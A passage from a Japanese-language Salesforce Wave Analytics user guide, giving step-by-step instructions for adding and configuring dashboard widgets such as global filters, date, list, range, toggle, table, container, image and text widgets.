基準を追加するには、 をクリックします。基準を変更するには、エクスプローラで基準を
選択して、新しい基準を選択します。

d. 必要に応じて、グルーピングを追加します。
e. 必要に応じて、[絞り込み] をクリックして結果を絞り込みます。

複数の検索条件を追加できます。
f. [保存] をクリックします。

Wave がステップをステップパネルに追加して、ダッシュボード内の他のウィジェットが使用できるよ
うにします。また、ウィジェットに棒グラフの結果も表示されます。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
たとえば、[グラフの種類] ウィジェットプロパティで別の種類を選択します。グラフの種類のステップ要
件を満たしていない場合は、ウィジェットでその種類のグラフを選択できません。たとえば、一部の種類
のグラフは、基準が 1 つのみのステップを必要とします。

6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
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このステップに、単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定などを設定でき
ます。

7. ユーザがダッシュボードを開いたときに適用される初期選択を設定するには、 をクリックして、[初期
検索条件を選択] をクリックします。
初期選択は、グラフ、日付、リスト、切り替え、範囲ウィジェットで実行できます。たとえば、棒グラフ
の棒を選択して、初期検索条件に設定できます。棒グラフの基本的なステップがファセットされている場
合は、ステップがファセットされた他のウィジェットも初期選択に基づいて絞り込まれます。ダッシュボー
ド閲覧者は表示中に、グラフの選択を変更して、結果を異なる方法で絞り込むことや、検索条件をまとめ
て削除することができます。

メモ: 初期検索条件を選択している場合を除き、ユーザがダッシュボードを開いたときにこのウィ
ジェットで選択が行われることはありません。ステップで選択が必須と設定されている場合は、初期
検索条件を選択します。選択が必須と設定されていない場合は、検索条件リストの最初の値が使用さ
れます。

8. ダッシュボードへの変更をプレビューするには、 をクリックします。
9. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

グローバル検索条件ウィジェットの追加によるデータセットレコードのダッシュボードからの除外
グローバル検索条件は、Wave ダッシュボードを閲覧するすべてのユーザに表示されるコンテンツを制限しま
す。たとえば、グローバル検索条件を作成して、ダッシュボードに自分のチームに属するケースのみを表示で
きます。各ウィジェットに対してグローバル検索条件を適用するかどうかを指定できます。検索条件選択ウィ
ジェットとは異なり、グローバル検索条件はダッシュボードのプレビュー中または表示中には変更できませ
ん。
グローバル検索条件ウィジェットには、1 つ以上の検索条件を含みグルーピングを含まないステップが必要で
す。各検索条件は、基準、ディメンション、または日付項目に基づいて指定できます。ステップで定義された
すべての検索条件は、グローバル検索条件に適用されます。
1. グローバル検索ウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。
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メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。

b. 検索条件を適用するデータセットを選択します。
c. をクリックします。
d. 絞り込みの基準となる基準、日付、またはディメンション項目を選択します。
e. 検索条件を作成するには、項目の特定の値を選択します。

たとえば、日付に基づいて絞り込むには、[絶対日付] タブまたは [相対日付] タブで開始日と終了日を選
択します。

f. 検索条件を適用するには、[追加] をクリックします。
必要に応じて複数の検索条件を追加できます。

g. [保存] をクリックします。
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Wave がステップをステップパネルに追加して、ダッシュボード内の他のウィジェットが使用できるよ
うにします。さらに、ウィジェットには検索条件が表示されます。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
プロパティを設定すると、変更がウィジェットに直ちに反映されます。

6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
7. ダッシュボードへの変更をプレビューするには、 をクリックします。
8. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

ウィジェットにグローバル検索条件を適用するには、ウィジェットのステッププロパティで [グローバル検索
条件を適用] を選択します。デフォルトでは、グローバル検索条件は次の条件にあてはまるステップがあるす
べてのウィジェットに適用されます。1) エクスプローラで作成されている 2) 同じデータセットに基づいている
3) グローバル検索条件で使用されているものと同じ項目に基づいたグルーピングがある。SAQL クエリから作成
されたステップに基づくウィジェットにグローバル検索条件を適用するには、ダッシュボード JSON のステッ
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プ定義で autoFilter  equal to true を設定する必要があります。autoFilter の設定についての詳細は、
「Query」を参照してください。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

ユーザが結果を絞り込むことができる検索条件選択ウィジェットの追加
ダッシュボード閲覧者がこれらのウィジェットのいずれかで選択を行うと、Wave はファセットおよびバイン
ドされた他のウィジェットの結果を絞り込みます。たとえば、ダッシュボード閲覧者はリストウィジェットで
地域を選択して、ダッシュボード結果を特定の営業の場所に絞り込むことができます。グローバル検索条件ま
たはクエリ検索条件とは異なり、閲覧者は選択を変更して、異なる検索条件で結果を絞り込んだり、検索条件
を完全に削除したりできます。
選択条件は、クエリ検索条件とは異なります。検索条件選択ウィジェットで選択が行われると、ステップの元
のクエリのすべての値が表示され、特定の値のみが強調表示されます。ただし、クエリ検索条件ではステップ
のクエリが変更され、結果の数が減少します。グローバル検索条件は、ダッシュボードの複数のステップに適
用できるクエリ検索条件です。
次の図は、同じステップの選択条件とクエリ検索条件の違いを示しています。

検索条件選択ウィジェットは、基準、日付、およびディメンション項目に基づいて作成できます。さまざまな
種類の検索条件選択ウィジェットがあります。また、各検索条件ウィジェットには初期選択を設定することも
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できます。たとえば、閲覧者がダッシュボードを開いたときに、日付ウィジェットで前年がデフォルトで選択
されて、前年のダッシュボード結果のみが表示されるようにできます。

メモ: 検索条件選択ウィジェットによって他のウィジェットも絞り込めるようにするには、それらのス
テップをファセットまたはバインドする必要があります。

日付ウィジェットの追加による日付に基づいたダッシュボード結果の絞り込み
日付ウィジェットでは、ダッシュボード閲覧者が、選択した日付範囲に基づいて Wave ダッシュボードの結
果を絞り込むことができます。範囲には、UTC に基づく相対日付 (先月など) または絶対日付 (2016/1/15 など)

を使用できます。たとえば、日付ウィジェットを追加して、サポートケースを絞り込み、今月または先月
に完了したケースのみを表示できます。
リストウィジェットの追加によるディメンションに基づいたダッシュボード結果の絞り込み
リストウィジェットでは、ダッシュボード閲覧者が、ディメンションに基づいて Wave ダッシュボードの結
果を絞り込むことができます。たとえば、リストウィジェットを使用して、特定のケース状況または地域
に基づいて結果を絞り込めます。
範囲ウィジェットの追加による基準に基づいたダッシュボード結果の絞り込み
範囲ウィジェットでは、ダッシュボード閲覧者が、基準に基づいて Wave ダッシュボードの結果を絞り込む
ことができます。たとえば、範囲ウィジェットを使用して、金額が 10 万ドル～ 90 万ドルの間の商談のみを
表示できます。
切り替えウィジェットの追加によるディメンションに基づいたダッシュボード結果の絞り込み
切り替えウィジェットでは、ダッシュボード閲覧者が、日付またはディメンションに基づいて Wave ダッ
シュボードの結果を絞り込むことができます。たとえば、切り替えウィジェットを使用して、特定のレコー
ドタイプに基づいて結果を表示できます。

関連トピック:

ダッシュボードの初期検索条件選択の設定

日付ウィジェットの追加による日付に基づいたダッシュボード結果の絞り込み
日付ウィジェットでは、ダッシュボード閲覧者が、選択した日付範囲に基づいて Wave ダッシュボードの結果
を絞り込むことができます。範囲には、UTC に基づく相対日付 (先月など) または絶対日付 (2016/1/15 など) を使
用できます。たとえば、日付ウィジェットを追加して、サポートケースを絞り込み、今月または先月に完了し
たケースのみを表示できます。
日付ウィジェットには、日付項目に基づく 1 つのグループピングを含むステップが必要です。
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このウィジェットで選択を行うと、ステップがファセットされた他のウィジェットの結果が絞り込まれます。
単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定など、このウィジェットのステップを
設定できます。また、ダッシュボードを開いたときに適用される初期選択も設定できます。ダッシュボードを
閲覧中に、選択を元に戻すことや、結果を異なる方法で絞り込むことができます。

メモ: このウィジェットで他のウィジェットを絞り込めるようにするには、そのステップのファセットを
有効にする必要があります。

1. 日付ウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。
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b. 検索条件を適用するデータセットを選択します。
c. 絞り込みの基準となる日付項目を選択します。
d. 必要に応じて、[絞り込み] をクリックして結果を絞り込みます。

複数の検索条件を追加できます。
e. ウィジェットにこのステップを追加するには、[作成] をクリックします。

このステップがステップパネルに追加されます。ウィジェットに絶対日付範囲が表示されます。範囲は
日付項目の最小値から最大値になっています。ウィジェットに選択は適用されません。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。
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5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
プロパティを設定すると、変更がウィジェットに直ちに反映されます。

6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
このステップに、単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定などを設定でき
ます。

7. ユーザがダッシュボードを開いたときに適用される初期選択を設定するには、 をクリックして、[初期
検索条件を選択] をクリックします。
初期選択は、グラフ、日付、リスト、切り替え、範囲ウィジェットで実行できます。たとえば、棒グラフ
の棒を選択して、初期検索条件に設定できます。棒グラフの基本的なステップがファセットされている場
合は、ステップがファセットされた他のウィジェットも初期選択に基づいて絞り込まれます。ダッシュボー
ド閲覧者は表示中に、グラフの選択を変更して、結果を異なる方法で絞り込むことや、検索条件をまとめ
て削除することができます。

メモ: 初期検索条件を選択している場合を除き、ユーザがダッシュボードを開いたときにこのウィ
ジェットで選択が行われることはありません。ステップで選択が必須と設定されている場合は、初期
検索条件を選択します。選択が必須と設定されていない場合は、検索条件リストの最初の値が使用さ
れます。

8. ダッシュボードへの変更をプレビューするには、 をクリックします。
9. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

リストウィジェットの追加によるディメンションに基づいたダッシュボード結果の絞り込み
リストウィジェットでは、ダッシュボード閲覧者が、ディメンションに基づいて Wave ダッシュボードの結果
を絞り込むことができます。たとえば、リストウィジェットを使用して、特定のケース状況または地域に基づ
いて結果を絞り込めます。
リストウィジェットには、ディメンションに基づく 1 つのグルーピングを含むステップが必要です。グルーピ
ングの値はリスト内の値として表示されます。
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メモ: また、静的ステップを作成して、リストウィジェットの値のカスタムリストを指定することもでき
ます。詳細は、「カスタム値を使用する静的ステップの作成」を参照してください。

このウィジェットで選択を行うと、ステップがファセットされた他のウィジェットの結果が絞り込まれます。
単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定など、このウィジェットのステップを
設定できます。また、ダッシュボードを開いたときに適用される初期選択も設定できます。ダッシュボードを
閲覧中に、選択を元に戻すことや、結果を異なる方法で絞り込むことができます。選択を行うと、リストウィ
ジェットには最大 50 個の値が表示されます。さらに表示するには、[表示件数を増やす...]をクリックします。
表示されているすべての値を選択するには、[すべて]をクリックします。リストウィジェットに最初の 50 個の
値のみが表示されている場合、[すべて] オプションでは 50 個の値のみが選択されます。

メモ: このウィジェットで他のウィジェットを絞り込めるようにするには、そのステップのファセットを
有効にする必要があります。

1. リストウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。

4675

Wave ダッシュボードの構築分析



ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。
3. ステップを作成する手順は、次のとおりです。

a. ウィジェット内のボタンをクリックして、ウィザードを開きます。
[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。

b. 検索条件を適用するデータセットを選択します。
c. 絞り込みの基準となるディメンション項目を選択します。
d. ウィジェットにこのステップを追加するには、[作成] をクリックします。

このステップがステップパネルに追加されます。さらに、デフォルトではリストウィジェットは折りた
たまれていて、ウィジェットに選択が適用されません。

e. リストを展開して、より多くの値を表示するには、ウィジェットのサイズを大きくします。
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メモ: リストを展開しない場合、ユーザがダッシュボードを表示したときにはドロップダウン矢印
を選択してリスト内の値を表示できます。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
プロパティを設定すると、変更がウィジェットに直ちに反映されます。
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6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
このステップに、単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定などを設定でき
ます。また、リストの各値の横に基準を表示するかどうかも指定できます。

7. ユーザがダッシュボードを開いたときに適用される初期選択を設定するには、 をクリックして、[初期
検索条件を選択] をクリックします。
初期選択は、グラフ、日付、リスト、切り替え、範囲ウィジェットで実行できます。たとえば、棒グラフ
の棒を選択して、初期検索条件に設定できます。棒グラフの基本的なステップがファセットされている場
合は、ステップがファセットされた他のウィジェットも初期選択に基づいて絞り込まれます。ダッシュボー
ド閲覧者は表示中に、グラフの選択を変更して、結果を異なる方法で絞り込むことや、検索条件をまとめ
て削除することができます。

メモ: 初期検索条件を選択している場合を除き、ユーザがダッシュボードを開いたときにこのウィ
ジェットで選択が行われることはありません。ステップで選択が必須と設定されている場合は、初期
検索条件を選択します。選択が必須と設定されていない場合は、検索条件リストの最初の値が使用さ
れます。

8. ダッシュボードへの変更をプレビューするには、 をクリックします。
9. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

範囲ウィジェットの追加による基準に基づいたダッシュボード結果の絞り込み
範囲ウィジェットでは、ダッシュボード閲覧者が、基準に基づいて Wave ダッシュボードの結果を絞り込むこ
とができます。たとえば、範囲ウィジェットを使用して、金額が 10 万ドル～ 90 万ドルの間の商談のみを表示
できます。
範囲ウィジェットには、1 つの基準を含みグルーピングを含まないステップが必要です。選択された範囲が基
準の値に適用されます。ウィジェット内に表示される範囲は、基準の最小値から最大値までです。
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このウィジェットで選択を行うと、ステップがファセットされた他のウィジェットの結果が絞り込まれます。
単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定など、このウィジェットのステップを
設定できます。また、ダッシュボードを開いたときに適用される初期選択も設定できます。ダッシュボードを
閲覧中に、選択を元に戻すことや、結果を異なる方法で絞り込むことができます。

メモ: このウィジェットで他のウィジェットを絞り込めるようにするには、そのステップのファセットを
有効にする必要があります。

1. 範囲ウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。
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b. 検索条件を適用するデータセットを選択します。
c. 絞り込みの基準となる基準項目を選択します。
d. 必要に応じて、[絞り込み] をクリックして結果を絞り込みます。

複数の検索条件を追加できます。
e. ウィジェットにこのステップを追加するには、[作成] をクリックします。

このステップがステップパネルに追加されます。ウィジェットの範囲は、基準項目の最小値から最大値
までです。ウィジェットに選択は適用されません。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
プロパティを設定すると、変更がウィジェットに直ちに反映されます。

6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
このステップに、単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定などを設定でき
ます。

7. ユーザがダッシュボードを開いたときに適用される初期選択を設定するには、 をクリックして、[初期
検索条件を選択] をクリックします。
初期選択は、グラフ、日付、リスト、切り替え、範囲ウィジェットで実行できます。たとえば、棒グラフ
の棒を選択して、初期検索条件に設定できます。棒グラフの基本的なステップがファセットされている場
合は、ステップがファセットされた他のウィジェットも初期選択に基づいて絞り込まれます。ダッシュボー
ド閲覧者は表示中に、グラフの選択を変更して、結果を異なる方法で絞り込むことや、検索条件をまとめ
て削除することができます。

メモ: 初期検索条件を選択している場合を除き、ユーザがダッシュボードを開いたときにこのウィ
ジェットで選択が行われることはありません。ステップで選択が必須と設定されている場合は、初期
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検索条件を選択します。選択が必須と設定されていない場合は、検索条件リストの最初の値が使用さ
れます。

8. ダッシュボードへの変更をプレビューするには、 をクリックします。
9. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

切り替えウィジェットの追加によるディメンションに基づいたダッシュボード結果の絞り込み
切り替えウィジェットでは、ダッシュボード閲覧者が、日付またはディメンションに基づいて Wave ダッシュ
ボードの結果を絞り込むことができます。たとえば、切り替えウィジェットを使用して、特定のレコードタイ
プに基づいて結果を表示できます。
切り替えウィジェットには、ディメンションに基づく 1 つのグルーピングを含むステップが必要です。グルー
ピングの値は切り替えオプションとして表示されます。

メモ: また、静的ステップを作成して、切り替えウィジェットの値のカスタムリストを指定することもで
きます。詳細は、「カスタム値を使用する静的ステップの作成」を参照してください。
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このウィジェットで選択を行うと、ステップがファセットされた他のウィジェットの結果が絞り込まれます。
単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定など、このウィジェットのステップを
設定できます。また、ダッシュボードを開いたときに適用される初期選択も設定できます。ダッシュボードを
閲覧中に、選択を元に戻すことや、結果を異なる方法で絞り込むことができます。

メモ: このウィジェットで他のウィジェットを絞り込めるようにするには、そのステップのファセットを
有効にする必要があります。

1. 切り替えウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。

b. 検索条件を適用するデータセットを選択します。
c. 絞り込みの基準となる日付項目またはディメンション項目を選択します。
d. 必要に応じて、[絞り込み] をクリックして結果を絞り込みます。

複数の検索条件を追加できます。
e. ウィジェットにこのステップを追加するには、[作成] をクリックします。

このステップがステップパネルに追加されます。ウィジェットに選択は適用されません。
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f. 必要に応じて、すべての切り替えオプションの表示名が表示されるようにウィジェットのサイズを大き
くします。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
プロパティを設定すると、変更がウィジェットに直ちに反映されます。

6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
このステップに、単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定などを設定でき
ます。

7. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
このステップに、単一選択または複数選択の受け入れや、選択が省略可能か必須かの指定などを設定でき
ます。また、切り替えオプションに基準を表示するかどうかも指定できます。

8. ユーザがダッシュボードを開いたときに適用される初期選択を設定するには、 をクリックして、[初期
検索条件を選択] をクリックします。
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初期選択は、グラフ、日付、リスト、切り替え、範囲ウィジェットで実行できます。たとえば、棒グラフ
の棒を選択して、初期検索条件に設定できます。棒グラフの基本的なステップがファセットされている場
合は、ステップがファセットされた他のウィジェットも初期選択に基づいて絞り込まれます。ダッシュボー
ド閲覧者は表示中に、グラフの選択を変更して、結果を異なる方法で絞り込むことや、検索条件をまとめ
て削除することができます。

メモ: 初期検索条件を選択している場合を除き、ユーザがダッシュボードを開いたときにこのウィ
ジェットで選択が行われることはありません。ステップで選択が必須と設定されている場合は、初期
検索条件を選択します。選択が必須と設定されていない場合は、検索条件リストの最初の値が使用さ
れます。

9. ダッシュボードへの変更をプレビューするには、 をクリックします。
10. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

テーブルウィジェットの追加によるレコード詳細の表示と計算列の作成
Wave ダッシュボードのさまざまなテーブル種別を追加できます。レコードレベルの詳細を表示するには、値
テーブルを追加します。たとえば、このテーブル種別では、ケースがオープンになっている期間や所有者など
のケースの詳細を表示できます。既存の項目の計算に基づいてテーブルのカスタム列を作成するには、比較
テーブルを追加します。ソースステップに少なくとも 1 つのグルーピングが含まれている場合、ピボットテー
ブルを作成できます。
テーブルウィジェットには、テーブルに含める列を指定するステップが必要です。ステップは、テーブル種別
によって異なります。値テーブルでは、データセット項目が列として表示されます。どの項目を表示するかを
選択できます。比較テーブルでは、テーブル内にある列に基づいて計算された項目が表示されます。ピボット
テーブルでは、最後のグルーピングの値が列として表示されます。

メモ: デフォルトでは、テーブルウィジェットには最大 100 件のレコードが表示されます。最大 10,000 件
のレコードまで表示できます。レコード数を増やすには、SAQL クエリの limit パラメータを変更しま
す。SAQL クエリについての詳細は、『Wave Analytics SAQL リファレンス』を参照してください。

1. テーブルウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットの既存のステップを使用するには、ステップパネルからステップをドラッグして、ウィジェッ

トの上に配置します。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。

3. ステップを作成する手順は、次のとおりです。
a. ウィジェット内のボタンをクリックして、ウィザードを開きます。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。
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メモ: 代わりに棒グラフをエクスプローラに表示する場合は、Wave でウィジェットの前回のステッ
プの作成に使用したデータセットが選択されます。別のデータセットを使用するには、[戻る]をク
リックします。

b. テーブルに含める列が含まれるデータセットを選択します。
エクスプローラに棒グラフが表示され、[行数] 基準が示されます。

c.

テーブルにどの列を追加しているかを確認しやすくするには、 をクリックしてグラフの種
類を次のテーブルに変更します。
値テーブル

データセット項目をテーブルの列として表示する場合に使用します。テーブルに含める列を選択す
るには、エクスプローラの上部で列をクリックします。値テーブルで計算列を作成することはでき
ません。

比較テーブル
計算列をテーブルに追加する場合に使用します。データセットのディメンションをテーブルの列と
して追加するには、[+Group]をクリックします。他の列 (計算列を含む) を追加するには、[+]をクリッ
クします。比較テーブルの作成についての詳細は、「比較テーブルを使用した計算列の作成」を参
照してください。

ピボットテーブル
最後のグルーピングの値を列として表示する場合に使用します。ディメンションをテーブルの列と
して追加するには、[+Group] をクリックします。テーブルは、最後に定義されたグルーピングに基
づいてピボットされます。

d. 必要に応じて、[絞り込み] をクリックしてテーブルに含めるレコードを絞り込みます。
複数の検索条件を追加できます。

e. [保存] をクリックします。
ウィジェットのテーブルに結果が表示されます。このステップがステップパネルに追加されます。

4. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
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[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
6. ステップのプロパティを表示および設定するには、パネルの [ステップ] をクリックします。
7. ダッシュボードへの変更をプレビューするには、 をクリックします。
8. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ
Wave ダッシュボードデザイナでのステップの作成

コンテナウィジェットの追加によるダッシュボードのセクションの作成
Wave ダッシュボードのセクションは、関連するウィジェットをグループ化するために使用します。たとえば、
コンテナウィジェットを使用してダッシュボードの左側に検索条件パネルを作成し、すべての検索条件選択
ウィジェットを格納できます。検索条件パネルをダッシュボードの他の部分から区別するために、コンテナに
背景色と境界線を適用できます。コンテナを移動すると、コンテナに含まれたウィジェットもスペースや配置
を維持したままで移動します。
コンテナウィジェット内には、別のコンテナウィジェット以外の任意のウィジェットを配置できます。

4686

Wave ダッシュボードの構築分析



1. コンテナウィジェットをダッシュボードキャンバスにドラッグします。
空のコンテナが表示されます。

2. 他のウィジェットをコンテナ内にドラッグします。
より多くのウィジェットを配置できるようにコンテナのサイズを大きくすることができます。

3. ウィジェットのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

4. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
たとえば、背景の色や画像を適用します。

5. ダッシュボードへの変更をプレビューするには、 をクリックします。
6. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ

画像ウィジェットの追加によるダッシュボードでのグラフィックの表示
Wave ダッシュボードをブランド設定する会社のロゴ、結果を分類するアイコン、またはダッシュボードをア
ニメーションさせるグラフィックを含めることができます。

ヒント: また、コンテナウィジェットやレイアウトの背景として画像を追加することもできます。画像を
別の画像の上に重ねて表示するには、コンテナウィジェットの中に画像ウィジェットを配置します。ダッ
シュボード全体に背景画像を表示するには、背景画像をレイアウトに追加します。
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1. 画像ウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットのプロパティを変更するには、ウィジェットをクリックします。

[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

3. 画像ウィジェット内で [画像] をクリックします。

4. 新しい画像をアップロードするには、[ファイルを参照]をクリックします。または、[ギャラリー] タブから
アップロードする画像を選択します。

4688

Wave ダッシュボードの構築分析



Wave は、画面の左上隅に表示されるアプリケーションの画像をギャラリーにアップロードします。各画像
ファイルは 2 GB を超えることはできません。

5. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
6. ダッシュボードへの変更をプレビューするには、 をクリックします。
7. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ

テキストウィジェットの追加によるダッシュボードの一部へのラベル付け
Wave ダッシュボードに表示ラベルを付けることによって、ユーザは何が表示されているかを理解できます。
ダッシュボードを説明するテキストや、ウィジェットの使用に関する情報を提供するテキストも追加できま
す。
1. テキストウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットのプロパティを変更するには、ウィジェットをクリックします。

[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
